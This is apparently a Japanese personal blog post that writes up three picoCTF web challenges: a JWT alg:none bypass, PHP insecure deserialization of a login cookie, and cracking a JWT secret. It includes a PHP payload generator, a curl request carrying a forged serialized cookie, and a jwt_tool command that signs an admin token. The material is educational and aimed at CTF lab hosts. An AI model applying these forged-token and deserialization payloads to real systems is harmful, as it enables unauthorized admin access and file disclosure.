日々のいろいろ

【picoCTF】WebのMedium問題に挑戦しました v2

投稿日: 7/15/2025

JAuth

問題

Most web application developers use third party components without testing their security. Some of the past affected companies are: Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638 Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used VerticalScope (internet media company) - outdated version of vBulletin forum software used Can you identify the components and exploit the vulnerable one? The website is running here. Can you become an admin? You can login as test with the password Test123! to get started.

テスト用の認証情報が提供されています。
画像

ログインすると、トークンが発行されます。

画像

とりあえずBase64デコードしてみる。

画像

下記がペイロード部分でしょうか。

{"typ":"JWT","alg":"HS256"}{"auth":1752587288777,"agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0","role":"user","iat":1752587289}

問題文から察するに、脆弱性(CVE)を特定してエクスプロイトしてみる必要があると考え、調べてみますが有力な情報は見つからず。

jsonwebtokenで発生したCVE-2022-23529が有名らしいですが、形式が違うしなぁ...。
参考:https://unit42.paloaltonetworks.com/jsonwebtoken-vulnerability-cve-2022-23529/

{"alg" : "none"}
とすることで検証をバイパスする攻撃もあるそうですが、今回は刺さらず。

ギブアップ。

解答

参考:https://qiita.com/akinosora501/items/58247a6a7a5ec680a0a3

{"alg" : "none"}
、roleをadminにすることでフラグがゲットできるようです。

雑に検証せずにJWT Debuggerを使うべきでした。

反省。

Super Serial

問題

Try to recover the flag stored on this website http://mercury.picoctf.net:5428/

ログインフォームと、すでにCookieにPHPSESSIDがセットされています。

画像

SQLiもだめ、取得しているコンテンツにも特に情報なし、

/robots.txt
に記載されているadmin.phpsにはアクセスできず。

画像

ギブアップ。

解答

参考
https://github.com/Tecatech/picoCTF-2021-writeups/blob/master/Web%20Exploitation/Super%20Serial/README.md
https://blog.tokumaru.org/2017/09/

まず、タイポなのか詳しくはわからないのですが、該当のサーバーのPHPファイルはすべて.phpsのようです。

それを踏まえて、

index.phps
を見てみると、
cookie.php
,
authentication.php
という別のファイル名が出てきます。

画像

各ファイルに.phpsでアクセスしてみます。

cookie.phps

画像

注意点は、以下の処理です。
外部入力(Cookieの

login
の値)をそのままデシリアライズしています。
シリアライズ/デシリアライズの対象は内部の値に制限するべきだそうです。

if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } }

authentication.phps

画像

注意すべき処理は以下です。

class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?>

まず、cookie.phpをインポート、つまり上述の外部入力をデシリアライズする危険な処理をauthentication.phps内でも実行できることになります。

そして、access_logクラス内のログファイルを読み取る処理が利用できそうです。

public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); }

最終的にフラグを取得する処理の流れとしては、以下のPHP処理を実行して、../flagを読み取るaccess_logクラスをシリアライズした値を取得します。

<?php // authentication.phpsと同じクラス class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function read_log() { return file_get_contents($this->log_file); } } // ペイロード生成関数 function generate_payload($target_file) { $malicious = new access_log($target_file); $serialized = serialize($malicious); $base64 = base64_encode($serialized); $payload = urlencode($base64); echo "Target file: " . $target_file . "\n"; echo "Serialized: " . $serialized . "\n"; echo "Base64: " . $base64 . "\n"; echo "Final payload: " . $payload . "\n"; echo "---\n"; return $payload; } // 様々なファイルのペイロードを生成 $payloads = [ "../flag" ]; foreach ($payloads as $file) { generate_payload($file); } ?>

取得した値をCookieの

login
の値としてauthentication.phpにリクエストします。

curl -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9" http://mercury.picoctf.net:5428/authentication.php

これでフラグが出力されます。

サーバー側では、受け取ったCookieの

login
の値をデシリアライズします。

シリアライズした値はaccess_logクラスなので、例外処理されて

die("Deserialization error. ".$perm);
が実行されます。

die関数で、文字列として出力しているのですが、ここで重要な点があります。

toString関数はaccess_logクラス内でオーバーライドされており、$log_fileの内容を読み取る処理につながります。

つまり、die関数の引数でデシリアライズされたバイナリに対してオーバーライドされたtoString関数が実行されることにより、../flagの内容が出力されるという流れになります。

cookie.phps内の処理でなぜaccess_logクラスの__toStringが参照されるのかはわからないので、検証してみようと思います。

JaWT Scratchpad

問題

Check the admin scratchpad! https://jupiter.challenges.picoctf.org/problem/61864/ or http://jupiter.challenges.picoctf.org:61864

admin以外の任意の名前を入れて送信すると、スクラッチパッド?の入力画面に遷移します。

画像

その際、JWTトークンも発行されます。

画像

形式は一般的です。

画像

user
にadminを、
alg
にnoneを指定してJWTトークンを作成します。

画像

ブラウザでセットしてリロードすると、エラー画面になってしまいました。

画像

他にもいくつかトークンを試してみましたが、ダメなのでギブアップ。

解答

参考:https://mh4ck3r0n3.github.io/posts/2025/03/01/jawt-scratchpad/

John the Ripperを使うようです。

発行されたトークンをそのままJtRにかけると、秘密鍵が特定できました。

画像

あとは、

user
admin
に変更したペイロードを署名してトークンを生成します。

jwt_toolというCLIのツールを使用します。

python3 jwt_tool.py "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYSJ9.Wpx3_bxlH3-Q8LDfbdaCP3ML7bAdosK4mAHRXhDmhug" -S hs256 -I -pc user -pv admin -p "ilovepico"

画像

生成されたトークンをブラウザにセットしてリロードすると、フラグがゲットできます。


コメント

まだコメントがありません

コメントする
0 / 1500 文字